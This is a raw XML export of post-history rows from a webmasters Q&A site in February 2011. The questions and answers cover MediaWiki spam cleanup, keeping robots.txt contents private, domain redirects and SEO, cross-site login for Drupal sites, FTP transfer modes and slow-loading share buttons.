  <row Id="20177" PostHistoryTypeId="2" PostId="9194" RevisionGUID="82c1e249-6d3f-442d-9dac-5fa6c7cb7d8f" CreationDate="2011-02-15T14:34:51.107" UserId="5421" Text="Basically my 'private' mediawiki instance was about as secure as a toddlers piggybank. I've tightened it up now, but am left with about a hundred or so new pages and revisions generated by hundreds of randomly generated users. &#xD;&#xA;&#xD;&#xA;2 part question;&#xD;&#xA;Is there a way to delete all orphaned pages? &#xD;&#xA;Can I say to roll back all revisions NOT made by a particular user (me)?" />
  <row Id="20178" PostHistoryTypeId="1" PostId="9194" RevisionGUID="82c1e249-6d3f-442d-9dac-5fa6c7cb7d8f" CreationDate="2011-02-15T14:34:51.107" UserId="5421" Text="Mass Deletion of Spam Revisions in Mediawiki" />
  <row Id="20179" PostHistoryTypeId="3" PostId="9194" RevisionGUID="82c1e249-6d3f-442d-9dac-5fa6c7cb7d8f" CreationDate="2011-02-15T14:34:51.107" UserId="5421" Text="&lt;spam&gt;&lt;mediawiki&gt;" />
  <row Id="20180" PostHistoryTypeId="6" PostId="3576" RevisionGUID="10144122-5fec-43b8-a2ad-e39fee164cc3" CreationDate="2011-02-15T14:43:53.403" UserId="1253" Comment="Added &quot;seo page-ranking&quot; tags" Text="&lt;seo&gt;&lt;google&gt;&lt;page-ranking&gt;" />
  <row Id="20181" PostHistoryTypeId="6" PostId="2402" RevisionGUID="00447f44-50c0-4e27-a28d-b9f22c64afe7" CreationDate="2011-02-15T14:44:44.400" UserId="1253" Comment="Added &quot;page-ranking&quot; tag" Text="&lt;google&gt;&lt;search-engines&gt;&lt;page-ranking&gt;" />
  <row Id="20182" PostHistoryTypeId="13" PostId="8931" RevisionGUID="65e0b5e7-c8cb-420b-a524-706c8c95d2ce" CreationDate="2011-02-15T14:45:30.193" UserId="835" Text="[{&quot;Id&quot;:835,&quot;DisplayName&quot;:&quot;Mike Wills&quot;}]" />
  <row Id="20183" PostHistoryTypeId="2" PostId="9195" RevisionGUID="d851499b-bb3c-4a61-bb6e-34c1cf6a9edf" CreationDate="2011-02-15T14:46:36.600" UserId="1593" Text="I have found this link that solves the question i asked. &#xD;&#xA;&#xD;&#xA;http://www.mahdiyusuf.com/post/2178282519/top-5-things-to-do-after-launching-a-tumblr-blog" />
  <row Id="20184" PostHistoryTypeId="5" PostId="9182" RevisionGUID="77ac488d-898d-436d-95ba-0534770ad1c2" CreationDate="2011-02-15T15:02:32.297" UserDisplayName="user5413" Comment="added 2 characters in body" Text="I own three domains, say.. **example.com, example.in, example.co.in**&#xD;&#xA;&#xD;&#xA;I have bought the .in and .co.in TLDs only to protect the brand.&#xD;&#xA;&#xD;&#xA;But I have this question:&#xD;&#xA;&#xD;&#xA;If I make the other two also point to my hosting so that regardless of which one the user types, they are taken to the same website, will the PageRank be split into three and will each domain have one third the actual PR value?&#xD;&#xA;&#xD;&#xA;What should I do with the other two domains? Where should I point them to, if I don't intend to use them at all (i.e., what should I give in place of the ns1.myprovider.com, ns2.myprovider.com etc..?)" />
  <row Id="20185" PostHistoryTypeId="2" PostId="9196" RevisionGUID="67325fb9-449d-4b95-adcc-68f7eb4161a9" CreationDate="2011-02-15T15:55:41.163" UserId="5420" Text="Our site (&lt;a href=&quot;http://www.wethepixels.com&quot;&gt;We, the Pixels&lt;/a&gt;) is founded upon using the HTML5's canvas.  We use it in a way that Flash would normally be used, and in fact had to use Flash for IE, because excanvas just wasn't cutting it for what we needed.&#xD;&#xA;&#xD;&#xA;The site isn't *all* canvas, but it's main application component is.&#xD;&#xA;&#xD;&#xA;Hope this helps." />
  <row Id="20186" PostHistoryTypeId="17" PostId="9198" RevisionGUID="00f47615-9056-4fda-900b-5e333ae69ebb" CreationDate="2011-02-15T16:03:06.620" UserId="-1" Comment="from http://stackoverflow.com/questions/4997828/disallow-robots-txt-from-being-accessed-in-a-browser-but-still-accessible-by-spid/4997849#4997849" Text="" />
  <row Id="20187" PostHistoryTypeId="17" PostId="9199" RevisionGUID="9af68e10-e816-4cfd-8364-470b70c4ff0a" CreationDate="2011-02-15T16:03:06.620" UserId="-1" Comment="from http://stackoverflow.com/questions/4997828/disallow-robots-txt-from-being-accessed-in-a-browser-but-still-accessible-by-spid/4997860#4997860" Text="" />
  <row Id="20188" PostHistoryTypeId="17" PostId="9200" RevisionGUID="dd07d504-f795-4dfd-a596-2b7ba75db4bb" CreationDate="2011-02-15T16:03:06.620" UserId="-1" Comment="from http://stackoverflow.com/questions/4997828/disallow-robots-txt-from-being-accessed-in-a-browser-but-still-accessible-by-spid/4997901#4997901" Text="" />
  <row Id="20189" PostHistoryTypeId="17" PostId="9201" RevisionGUID="f1ace1ce-7146-46e0-bbd6-2f2423d705ef" CreationDate="2011-02-15T16:03:06.620" UserId="-1" Comment="from http://stackoverflow.com/questions/4997828/disallow-robots-txt-from-being-accessed-in-a-browser-but-still-accessible-by-spid/4998309#4998309" Text="" />
  <row Id="20190" PostHistoryTypeId="2" PostId="9198" RevisionGUID="90c59e9b-bfb9-46a0-944e-025466f93c78" CreationDate="2011-02-14T22:08:40.240" UserDisplayName="Leroy" Text="You could use mod rewrite to redirect robots.txt to a php script, and check the user agent, but it could be bypassed by faking the user agent.&#xD;&#xA;&#xD;&#xA;You have nothing that differs a normal user from a search engine, except for the information that it sends, and all those can be faked." />
  <row Id="20191" PostHistoryTypeId="2" PostId="9199" RevisionGUID="a689882b-14cf-461d-afd5-05fc3e7255a7" CreationDate="2011-02-14T22:09:57.990" UserDisplayName="James Kingsbery" Text="You can check the [User Agent HTTP Header][1]. It isn't fool proof, but you could tell from that if the user is using Firefox, Explorer, etc. Of course, the user could use curl and get around that.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://en.wikipedia.org/wiki/User_agent" />
  <row Id="20192" PostHistoryTypeId="2" PostId="9200" RevisionGUID="ff6fd963-256d-4ca4-9b17-ba9a8ae18d59" CreationDate="2011-02-14T22:14:53.687" UserDisplayName="Marc B" Text="If you don't want something visible to the web, then don't make it visible. In your case, using robots.txt for excluding directories is security by non-obscurity. Instead of publicly saying &quot;Hey, there's the place with all the precious jewels and valuable metals, don't go in there!&quot;, just say nothing and simply do not advertise the presence of those directories at all.&#xD;&#xA;&#xD;&#xA;This take some discipline on your part, making sure that none of those directories are referred to in any way on your publicly accessible pages.&#xD;&#xA;&#xD;&#xA;Otherwise it's impossible to do so via robots.txt. If you make that a dynamically generated page based on the visitor, then what's to stop someone from setting their browser's user agent string to &quot;Googlebot&quot; and getting the full list of your excluded directories? There's no 100% reliable method of detecting who's at the other end of a connection - at best you can guess and hope for the best. And guessing just doesn't cut it when it comes to security.&#xD;&#xA;&#xD;&#xA;Password protected pages/direcotries can't be crawled, so those would be safe even if they're not explictly listed in the robots.txt for exclusion - Googlebot and its brethren won't have login credentials, so can't get into the pages to spider them." />
  <row Id="20193" PostHistoryTypeId="2" PostId="9201" RevisionGUID="066ae7f0-9c36-48aa-bcb5-98483705dfe9" CreationDate="2011-02-14T23:01:09.983" UserDisplayName="aaz" Text="`robots.txt` is about as good an idea as `favicon.ico`. But it's the only standard, so you have to work within it.&#xD;&#xA;&#xD;&#xA;You can put all your restricted pages in a single heirarchy (e.g., `/restricted` containing `/restricted/login` etc.) and name just the root of the hierarchy in `robots.txt`. A user can find out that some pages are there, but won't know what the pages actually are.&#xD;&#xA;&#xD;&#xA;This could be a subdomain with `Disallow: /`.&#xD;&#xA;&#xD;&#xA;---&#xD;&#xA;&#xD;&#xA;Another thing you could try is not listing your restricted pages, but instead detecting user agents/IPs accessing `robots.txt` (which only web crawlers should do) and later denying them access to the pages." />
  <row Id="20194" PostHistoryTypeId="2" PostId="9197" RevisionGUID="d4403709-84aa-487d-a34b-865d30281c81" CreationDate="2011-02-14T22:06:08.707" UserDisplayName="Michael Irigoyen" Text="We make use of the `robots.txt` file to prevent Google (and other search spiders) from crawling certain pages/directories in our domain. Some of these directories/files are secret, meaning they aren't linked (except perhaps on other pages encompassed by the `robots.txt` file). Some of these directories/files aren't secret, we just don't want them indexed.&#xD;&#xA;&#xD;&#xA;If somebody browses directly to `www.mydomain.com/robots.txt`, they can see the contents of the `robots.txt` file. From a security standpoint, this is not something we want publicly available to anybody. Any directories that contain secure information are set behind authentication, but we still don't want them to be discoverable unless the user specifically knows about them.&#xD;&#xA;&#xD;&#xA;Is there a way to provide a `robots.txt` file but to have it's presence masked by John Doe accessing it from his browser? Perhaps by using PHP to generate the document based on certain criteria? Perhaps something I'm not thinking of? We'd prefer a way to centrally do it (meaning a `&lt;meta&gt;` tag solution is less than ideal)." />
  <row Id="20195" PostHistoryTypeId="1" PostId="9197" RevisionGUID="d4403709-84aa-487d-a34b-865d30281c81" CreationDate="2011-02-14T22:06:08.707" UserDisplayName="Michael Irigoyen" Text="Disallow robots.txt from being accessed in a browser but still accessible by spiders?" />
  <row Id="20196" PostHistoryTypeId="3" PostId="9197" RevisionGUID="d4403709-84aa-487d-a34b-865d30281c81" CreationDate="2011-02-14T22:06:08.707" UserDisplayName="Michael Irigoyen" Text="&lt;php&gt;&lt;security&gt;&lt;robots.txt&gt;" />
  <row Id="20197" PostHistoryTypeId="17" PostId="9197" RevisionGUID="3e7f8833-4c85-452d-a53f-506bb7044c13" CreationDate="2011-02-15T16:03:06.620" UserId="-1" Comment="from http://stackoverflow.com/questions/4997828/disallow-robots-txt-from-being-accessed-in-a-browser-but-still-accessible-by-spid" Text="" />
  <row Id="20198" PostHistoryTypeId="2" PostId="9202" RevisionGUID="3190bbd8-9b81-4277-8453-b5147893c7b6" CreationDate="2011-02-15T16:11:09.213" UserId="4021" Text="I write a column for SearchEngineWatch, and these are the resources I read:&#xD;&#xA;&#xD;&#xA;For link building (my niche):&#xD;&#xA;&#xD;&#xA;http://www.wiep.net&#xD;&#xA;http://www.ericward.com/&#xD;&#xA;http://www.linkspiel.com/&#xD;&#xA;http://ontolo.com/blog&#xD;&#xA;http://www.canadianseo.com/&#xD;&#xA;http://www.buzzstream.com/blog/&#xD;&#xA;http://www.wordtracker.com/blog&#xD;&#xA;http://www.stuntdubl.com/&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;For general SEO:&#xD;&#xA;&#xD;&#xA;http://www.seoroundtable.com&#xD;&#xA;http://www.distilled.co.uk/blog/&#xD;&#xA;http://www.measuredsem.com/blog&#xD;&#xA;http://www.blueglass.com/blog/&#xD;&#xA;http://www.seerinteractive.com/blog/&#xD;&#xA;http://www.wolf-howl.com&#xD;&#xA;http://www.outspokenmedia.com&#xD;&#xA;http://www.verticalmeasures.com/blog/&#xD;&#xA;http://blog.zetainteractive.com/&#xD;&#xA;http://www.hugoguzman.com/&#xD;&#xA;http://www.seo-theory.com&#xD;&#xA;http://www.higherrankings.com&#xD;&#xA;http://www.oilman.ca/ (wish he had more time to blog)&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;For general search marketing news/potpourri:&#xD;&#xA;http://www.searchenginewatch.com&#xD;&#xA;http://www.searchengineland.com&#xD;&#xA;http://www.searchenginejournal.com&#xD;&#xA;&#xD;&#xA;Forums&#xD;&#xA;&#xD;&#xA;http://www.webmasterworld.com&#xD;&#xA;http://community.seobook.com/forum.php&#xD;&#xA;&#xD;&#xA;Conferences:&#xD;&#xA;SMX West http://searchmarketingexpo.com/west/&#xD;&#xA;SMX Advanced http://searchmarketingexpo.com/advanced/&#xD;&#xA;Pubcon http://www.pubcon.com/&#xD;&#xA;Distilled Link Building Seminar  https://www.distilled.co.uk/events/linkbuilding-seminar-2011&#xD;&#xA;&#xD;&#xA;" />
  <row Id="20199" PostHistoryTypeId="2" PostId="9203" RevisionGUID="b37aa83e-c135-4cf6-93e8-b43069db26db" CreationDate="2011-02-15T16:49:54.030" UserId="3307" Text="[Scribd][1] is using HTML5&#xD;&#xA;&#xD;&#xA; [1]:http://www.scribd.com/" />
  <row Id="20200" PostHistoryTypeId="25" PostId="9194" RevisionGUID="f3fcd3b6-b449-47f0-8c1d-aacc088794f9" CreationDate="2011-02-15T17:22:20.760" Comment="http://twitter.com/#!/StackWebmasters/status/37562366472228865" />
  <row Id="20201" PostHistoryTypeId="2" PostId="9204" RevisionGUID="2aa100aa-bbdd-4c81-baa9-298154a275d7" CreationDate="2011-02-15T17:37:41.913" UserId="1253" Text="If you don't want robots crawling those directories but don't want to announce them in your robots.txt file use the x-robots-tag HTTP header to block them.&#xD;&#xA;&#xD;&#xA;Put this in a .htaccess file in any directory you don't want indexed:&#xD;&#xA;&#xD;&#xA;    Header set x-robots-tag: noindex&#xD;&#xA;&#xD;&#xA;That will tell robots to ignore the contents of the files in that directory. This way no robots.txt file is necessary and you have your security through obscurity and a legitimate way of telling the search engines to stay out." />
  <row Id="20202" PostHistoryTypeId="2" PostId="9205" RevisionGUID="067f86b6-7775-467f-ab58-092a403c1d2e" CreationDate="2011-02-15T18:19:38.523" UserId="5427" Text="We bought a few search friendly domain names for the CPA site that I manage. Each of the domains we bought has the name of a nearby city and the word cpa in front of, or behind the city name. &#xD;&#xA;&#xD;&#xA;The plan is to create a landing page for each of these domains with useful information about business filings, ect. specific to that city, as well as directions to our office from that city. &#xD;&#xA;&#xD;&#xA;The question is how to best utilize these new domains:&#xD;&#xA;&#xD;&#xA; - Should each domain be set to a 301 redirect to mainsite.com/city ?&#xD;&#xA; - Should each domain be it's own single page mini-site that links to mainsite.com ?&#xD;&#xA; - What other options are there and what are the pros/cons?&#xD;&#xA;&#xD;&#xA;Remember the goal is to be more relevant in searches that use a nearby city name in their search for CPA/accounting services. &#xD;&#xA;&#xD;&#xA;  " />
  <row Id="20203" PostHistoryTypeId="1" PostId="9205" RevisionGUID="067f86b6-7775-467f-ab58-092a403c1d2e" CreationDate="2011-02-15T18:19:38.523" UserId="5427" Text="&quot;Search Friendly&quot; domain names" />
  <row Id="20204" PostHistoryTypeId="3" PostId="9205" RevisionGUID="067f86b6-7775-467f-ab58-092a403c1d2e" CreationDate="2011-02-15T18:19:38.523" UserId="5427" Text="&lt;local-seo&gt;" />
  <row Id="20205" PostHistoryTypeId="2" PostId="9206" RevisionGUID="cd3ae89b-cc2a-4b3d-a29f-f45f2df0cc24" CreationDate="2011-02-15T18:29:57.333" UserId="1253" Text="&gt; Should each domain be set to a 301&#xD;&#xA;&gt; redirect to mainsite.com/city ?&#xD;&#xA;&#xD;&#xA;This won't accomplish anything other then possibly making it easier for users to find the page because the domain name is shorter or easier to remember. But as far as SEO goes having the keyword rich domain won't matter since you'll be doing a 301 redirect anyway which essentially is telling the search engines the page has moved and to associate any links to the new page and to remove that domain from the search results, thus it is never found that way. &#xD;&#xA;&#xD;&#xA;&gt; Should each domain be it's own single&#xD;&#xA;&gt; page mini-site that links to&#xD;&#xA;&gt; mainsite.com ?&#xD;&#xA;&#xD;&#xA;See my answer [here][1].&#xD;&#xA;&#xD;&#xA;&gt; What other options are there and what&#xD;&#xA;&gt; are the pros/cons?&#xD;&#xA;&#xD;&#xA;Make the URLs on your main site search engine friendly and interlink your pages liberally (have links to nearby cities on each page, links to most commonly viewed cities, etc). &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://webmasters.stackexchange.com/questions/4842/pros-cons-of-interlinked-landing-pages/4847#4847" />
  <row Id="20206" PostHistoryTypeId="6" PostId="9205" RevisionGUID="af02ddb6-1bdf-4b69-ae4a-a40f743f7ecf" CreationDate="2011-02-15T18:34:16.000" UserId="5427" Comment="edited tags" Text="&lt;seo&gt;&lt;local-seo&gt;" />
  <row Id="20207" PostHistoryTypeId="2" PostId="9207" RevisionGUID="d903d089-bafd-4cb0-9bf4-bb3aaac289c4" CreationDate="2011-02-15T19:23:10.430" UserId="4756" Text="We got multiple small websites (microsites) and one main high traffic one with big users base. Right now the requirement is to build authentication system which should allow users to loign with the same identity across the network. &#xD;&#xA;&#xD;&#xA;All website are running on different domains, powered by Drupal 6 CMS and have separate databases (so sharing tables with prefix is not an option + it creates a huge mess in the db).&#xD;&#xA;&#xD;&#xA;Here is the set of core requirements I came up with:&#xD;&#xA;&#xD;&#xA;1. Users should be able to login with the same credentials to all sites within the network&#xD;&#xA;2. User’s data sharing between Main site (storage) and all micro sites within the network&#xD;&#xA;3. Data synchronization across the network when user changes the data (update email or password for example)&#xD;&#xA;4. The login/registration process should be seamless and consistent&#xD;&#xA;5. Register on any of the sites across the network and use that identity to login later on. &#xD;&#xA;&#xD;&#xA;In the future there might be a need to add openid authentication options. &#xD;&#xA;&#xD;&#xA;Basically we are looking at something similar stackexchange does, but not sure if they have central users base on not. &#xD;&#xA;&#xD;&#xA;I was thinking about custom solution which will include 2 parts (modules), one will be stored on the Main site for users data storing and responding to requests from clients. Second part (module) will be placed on each microsite, which is going to send requests to the Master. Some kind of client - server setup.  &#xD;&#xA;&#xD;&#xA;One of the complications I see right away is #3. Data Synhcronization across the network.  &#xD;&#xA;&#xD;&#xA;I just don't want to reinvent the wheel and maybe some work is already done in this direction.&#xD;&#xA;&#xD;&#xA;Looking forward to your ideas on how to approach this project." />
  <row Id="20208" PostHistoryTypeId="1" PostId="9207" RevisionGUID="d903d089-bafd-4cb0-9bf4-bb3aaac289c4" CreationDate="2011-02-15T19:23:10.430" UserId="4756" Text="Authentication system brainstorm " />
  <row Id="20209" PostHistoryTypeId="3" PostId="9207" RevisionGUID="d903d089-bafd-4cb0-9bf4-bb3aaac289c4" CreationDate="2011-02-15T19:23:10.430" UserId="4756" Text="&lt;drupal&gt;&lt;authentication&gt;&lt;multiple-domains&gt;" />
  <row Id="20210" PostHistoryTypeId="2" PostId="9208" RevisionGUID="6fe3f19d-f93e-4992-8884-bb8f19ee98b2" CreationDate="2011-02-15T19:49:18.540" UserId="4803" Text="What type of database are you using?&#xD;&#xA;&#xD;&#xA;If you're using MySQL, you can keep the user database on the Main site and just make remote queries for login information, registration, etc. That would hit everything that you need and avoid huge headaches.&#xD;&#xA;&#xD;&#xA;Looking at some security, I &lt;a href=&quot;http://forums.mysql.com/read.php?38,195189,195239#msg-195239&quot;&gt;read&lt;/a&gt; that the query is sent with plain-text, so you could use SSL or SSH to make it a bit more secure for your users.&#xD;&#xA;&#xD;&#xA;&lt;a href=&quot;http://lists.mysql.com/mysql/116674&quot;&gt;Here&lt;/a&gt; is how to do a cross-domain MySQL connection." />
  <row Id="20211" PostHistoryTypeId="2" PostId="9209" RevisionGUID="cd624aa6-2a14-43bb-8be1-13d012c0c547" CreationDate="2011-02-15T19:51:42.823" UserId="5371" Text="[Search API for Shopping][1]&#xD;&#xA; can let you search and display ads from Google Affiliate network, and the products offered from merchants. Google Affiliate let you choose Merchants of your choice and you can add emended id links in any kind you ads you like, you can put your own designed Ads and add you publisher link in it, they have hardware/software, telecommunication etc like categories where you can choose Merchants of you choice. &#xD;&#xA;&#xD;&#xA;Adsense and its api won't going to help you i guess, as adsense api is for revenue sharing etc. you can't edit or choose ads either.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://code.google.com/apis/shopping/search/v1/getting_started.html" />
  <row Id="20212" PostHistoryTypeId="2" PostId="9210" RevisionGUID="1c0aba2e-8c9c-4faa-8f89-c730c9e617f8" CreationDate="2011-02-15T20:16:47.263" UserId="5371" Text="For what i understood from you question i have this to share. If you activate the domain alias, but create a .htaccess rewrite to send all domain &quot;B&quot; requests to domain &quot;A&quot;, Google should only see a single site.&#xD;&#xA;&#xD;&#xA;I personally used it.&#xD;&#xA;&#xD;&#xA;correct me if i misunderstood it.&#xD;&#xA;&#xD;&#xA;" />
  <row Id="20213" PostHistoryTypeId="25" PostId="9205" RevisionGUID="50f5b055-ba8f-44ca-a8f2-5ae1e627fcd6" CreationDate="2011-02-15T20:22:20.633" Comment="http://twitter.com/#!/StackWebmasters/status/37607664628412416" />
  <row Id="20214" PostHistoryTypeId="5" PostId="9207" RevisionGUID="5acf158d-199b-43f8-9f88-5dbb666a9643" CreationDate="2011-02-15T20:30:03.647" UserId="4756" Comment="added 34 characters in body" Text="We got multiple small websites (microsites) and one main high traffic one with big users base. Right now the requirement is to build authentication system which should allow users to loign with the same identity across the network. &#xD;&#xA;&#xD;&#xA;All website are running on different domains, powered by Drupal 6 CMS and have separate databases (so sharing tables with prefix is not an option + it creates a huge mess in the db).&#xD;&#xA;&#xD;&#xA;Here is the set of core requirements I came up with:&#xD;&#xA;&#xD;&#xA;1. Users should be able to login with the same credentials to all sites within the network&#xD;&#xA;2. User’s data sharing between Main site (storage) and all micro sites within the network&#xD;&#xA;3. Data synchronization across the network when user changes the data (update email or password for example)&#xD;&#xA;4. The login/registration process should be seamless and consistent&#xD;&#xA;5. Register on any of the sites across the network and use that identity to login later on. &#xD;&#xA;&#xD;&#xA;In the future there might be a need to add openid authentication options. &#xD;&#xA;&#xD;&#xA;Basically we are looking at something similar stackexchange does, but not sure if they have central users base on not. &#xD;&#xA;&#xD;&#xA;I was thinking about custom solution which will include 2 parts (modules), one will be stored on the Main site for users data storing and responding to requests from clients. Second part (module) will be placed on each microsite, which is going to send requests to the Master. Some kind of client - server setup.  &#xD;&#xA;&#xD;&#xA;One of the complications I see right away is #3. Data Synhcronization across the network.  &#xD;&#xA;&#xD;&#xA;I just don't want to reinvent the wheel and maybe some work is already done in this direction.&#xD;&#xA;&#xD;&#xA;Looking forward to your ideas on how to approach this project.&#xD;&#xA;&#xD;&#xA;EDIT:&#xD;&#xA;&#xD;&#xA;We use MySQL database" />
  <row Id="20218" PostHistoryTypeId="2" PostId="9212" RevisionGUID="3cd83caf-654c-4050-a163-abea1aeb4fa6" CreationDate="2011-02-15T20:57:27.703" UserId="5432" Text="I am using Panic's Transmit for my FTP client. I am need to be able upload a .csv file using ASCII but when I go: Transfer &gt; Mode &gt; ASCII (TEXT) all the Modes are grayed out and I am stuck with Auto.&#xD;&#xA;&#xD;&#xA;I checked the Panic site but didn't see anything there. Any clues how to force that change?&#xD;&#xA;&#xD;&#xA;Thanks!" />
  <row Id="20219" PostHistoryTypeId="1" PostId="9212" RevisionGUID="3cd83caf-654c-4050-a163-abea1aeb4fa6" CreationDate="2011-02-15T20:57:27.703" UserId="5432" Text="How do I change Transmit Mode from Auto to ASCII?" />
  <row Id="20220" PostHistoryTypeId="3" PostId="9212" RevisionGUID="3cd83caf-654c-4050-a163-abea1aeb4fa6" CreationDate="2011-02-15T20:57:27.703" UserId="5432" Text="&lt;ftp&gt;" />
  <row Id="20222" PostHistoryTypeId="4" PostId="8821" RevisionGUID="6cee2977-6b66-48c5-9f5a-9d9dbbe6cf58" CreationDate="2011-02-15T21:24:26.643" UserId="43" Comment="fixed spelling in title" Text="SimpleViewer + lightbox" />
  <row Id="20223" PostHistoryTypeId="24" PostId="8821" RevisionGUID="30b1f1e0-4ac2-4dbc-89df-2b52c2598184" CreationDate="2011-02-15T21:24:26.643" Comment="Proposed by 43 approved by 1253 edit id of 16" />
  <row Id="20224" PostHistoryTypeId="2" PostId="9214" RevisionGUID="adb627a3-7bce-499f-a3e9-4a8769d7e76c" CreationDate="2011-02-15T21:31:55.493" UserDisplayName="Nissan911" Text="i am wondering why godaddy offers Unlimited Space+ and Bandwidth, but google app engine/ AWS charges on usages. is it REAL unlimited? if godaddy offers lower rate, why ppl still use google app engine and AWS(other than they can use more customized virtual instance). can any explain it to me?&#xD;&#xA;&#xD;&#xA;thanks very much" />
  <row Id="20225" PostHistoryTypeId="1" PostId="9214" RevisionGUID="adb627a3-7bce-499f-a3e9-4a8769d7e76c" CreationDate="2011-02-15T21:31:55.493" UserDisplayName="Nissan911" Text="web hosting question " />
  <row Id="20226" PostHistoryTypeId="3" PostId="9214" RevisionGUID="adb627a3-7bce-499f-a3e9-4a8769d7e76c" CreationDate="2011-02-15T21:31:55.493" UserDisplayName="Nissan911" Text="&lt;godaddy&gt;" />
  <row Id="20227" PostHistoryTypeId="17" PostId="9214" RevisionGUID="9fd8bb6f-390b-4c74-81b2-341246e0725d" CreationDate="2011-02-15T21:34:25.790" UserId="-1" Comment="from http://stackoverflow.com/questions/5009767/web-hosting-question" Text="" />
  <row Id="20228" PostHistoryTypeId="2" PostId="9215" RevisionGUID="ab4c8602-a75e-4a5b-9f18-a511d9f28623" CreationDate="2011-02-15T21:35:28.093" UserId="5434" Text="They don't actually offer you &quot;unlimited&quot; anything. It is a gimmick, and they are betting on average, their users would not exceed a particular threshold. &#xD;&#xA;&#xD;&#xA;I bet if you tried to upload 10TB of data on an unlimited plan, not only would you run into physical storage barriers, but your account would probably be terminated for *insert random reason here*." />
  <row Id="20238" PostHistoryTypeId="2" PostId="9218" RevisionGUID="1bb45318-2b1f-4b60-a22d-96753d7bf9a1" CreationDate="2011-02-15T22:45:15.277" UserId="632" Text="I have a website with a number of pages that sport twitter, facebook and reddit share buttons.  They take forever to load and until they do the rest of the page doesn't load.  So how I can make them load last?  &#xD;&#xA;&#xD;&#xA;Currently, they are loaded something like this:&#xD;&#xA;&#xD;&#xA;    &lt;div class=&quot;item&quot;&gt;&lt;a href=&quot;http://twitter.com/share&quot; class=&quot;twitter-share-button&quot; data-count=&quot;vertical&quot; data-via=&quot;FridgeToFood&quot; data-related=&quot;danielBingham:Recipe and update tweets from Fridge to Food.&quot;&gt;Tweet&lt;/a&gt;&lt;script type=&quot;text/javascript&quot; src=&quot;http://platform.twitter.com/widgets.js&quot;&gt;&lt;/script&gt;&lt;/div&gt;&#xD;&#xA;    &lt;div class=&quot;item&quot;&gt;&lt;script src=&quot;http://connect.facebook.net/en_US/all.js#xfbml=1&quot;&gt;&lt;/script&gt;&lt;fb:like layout=&quot;box_count&quot; width=&quot;40&quot;&gt;&lt;/fb:like&gt;&lt;/div&gt;&#xD;&#xA;    &lt;div class=&quot;item&quot;&gt;&#xD;&#xA;    	&lt;script type=&quot;text/javascript&quot;&gt;reddit_target='recipes';&lt;/script&gt;&#xD;&#xA;    	&lt;script type=&quot;text/javascript&quot; src=&quot;http://reddit.com/static/button/button2.js&quot;&gt;&lt;/script&gt;&#xD;&#xA;    &lt;/div&gt;&#xD;&#xA;&#xD;&#xA;They are in a div called &quot;shareWrapper&quot; and are loading to one side of the page.  The buttons load where ever the script code is placed.  As far as I know, I can't place the script code at the bottom of the page and move the resulting buttons after the fact.  I want them to appear near the top, which right now means they are stopping everything below them from loading for several seconds.&#xD;&#xA;&#xD;&#xA;I tried loading them using javascript, but using JQuery's `$(document).ready()`, but that failed.  It seems to leave the page in some sort of loading loop from which it never emerges.   Are there other ways to get these to load last?" />
  <row Id="20239" PostHistoryTypeId="1" PostId="9218" RevisionGUID="1bb45318-2b1f-4b60-a22d-96753d7bf9a1" CreationDate="2011-02-15T22:45:15.277" UserId="632" Text="How can I making Twitter, Facebook and Reddit share buttons load last?" />
  <row Id="20240" PostHistoryTypeId="3" PostId="9218" RevisionGUID="1bb45318-2b1f-4b60-a22d-96753d7bf9a1" CreationDate="2011-02-15T22:45:15.277" UserId="632" Text="&lt;javascript&gt;&lt;social-media&gt;" />
  <row Id="20241" PostHistoryTypeId="2" PostId="9219" RevisionGUID="4db98ea1-2c37-4333-8fe2-5409a0ea4bb7" CreationDate="2011-02-15T22:49:04.293" UserId="5117" Text="I suggest to read this article by Frederic Towsend, the author of the W3 Cache Plugin for wordpress: http://www.w3-edge.com/weblog/2011/02/optimize-social-media-button-performance/&#xD;&#xA;&#xD;&#xA;" />
  <row Id="20243" PostHistoryTypeId="25" PostId="9214" RevisionGUID="3218177e-64b0-42f7-8084-3f7d0e364151" CreationDate="2011-02-15T23:22:20.703" Comment="http://twitter.com/#!/StackWebmasters/status/37652964059389952" />
  <row Id="20244" PostHistoryTypeId="2" PostId="9220" RevisionGUID="36aad7d7-1383-4775-8cb3-bfe24228a64b" CreationDate="2011-02-15T23:32:41.317" UserId="1787" Text="On provider A I have an existing web hosting account running my site.&#xD;&#xA;&#xD;&#xA;On provider B I have my domain name registered pointing to the web hosting on provider A. I've just purchased a web hosting account with provider B and want to move my site there.&#xD;&#xA;&#xD;&#xA;Is there a way to temporarily use my domain name to point to provider B while I set up the site (e.g. just from my computer)? I tried to change the HOSTS file (Windows) and while pings resolved to what I set, HTTP requests don't.&#xD;&#xA;" />
  <row Id="20245" PostHistoryTypeId="1" PostId="9220" RevisionGUID="36aad7d7-1383-4775-8cb3-bfe24228a64b" CreationDate="2011-02-15T23:32:41.317" UserId="1787" Text="How do I temporarily reference a new web host using my existing domain name?" />
  <row Id="20246" PostHistoryTypeId="3" PostId="9220" RevisionGUID="36aad7d7-1383-4775-8cb3-bfe24228a64b" CreationDate="2011-02-15T23:32:41.317" UserId="1787" Text="&lt;web-hosting&gt;" />
  <row Id="20247" PostHistoryTypeId="5" PostId="9212" RevisionGUID="d40b6bf0-7221-406f-acfb-b6f76ebf662d" CreationDate="2011-02-16T00:04:03.523" UserId="5117" Comment="Reformatted " Text="I am using Panic's Transmit for my FTP client.&#xD;&#xA;&#xD;&#xA;I am need to be able upload a .csv file using ASCII but when I go to:&#xD;&#xA;&#xD;&#xA;    Transfer &gt; Mode &gt; ASCII (TEXT) &#xD;&#xA;&#xD;&#xA;all the Modes are grayed out and I am stuck with Auto.  &#xD;&#xA;I checked the Panic site but didn't see anything there. Any clues how to force that change?&#xD;&#xA;&#xD;&#xA;Thanks!" />
  <row Id="20248" PostHistoryTypeId="24" PostId="9212" RevisionGUID="b67d0e3b-a2b6-4f8c-8b0f-ae92dd642275" CreationDate="2011-02-16T00:04:03.523" Comment="Proposed by 5117 approved by 180 edit id of 17" />
  <row Id="20249" PostHistoryTypeId="6" PostId="9220" RevisionGUID="2ccae79f-2a2b-4949-945f-7fe8cf91fada" CreationDate="2011-02-16T00:05:13.710" UserId="180" Comment="Added tag" Text="&lt;web-hosting&gt;&lt;migration&gt;" />
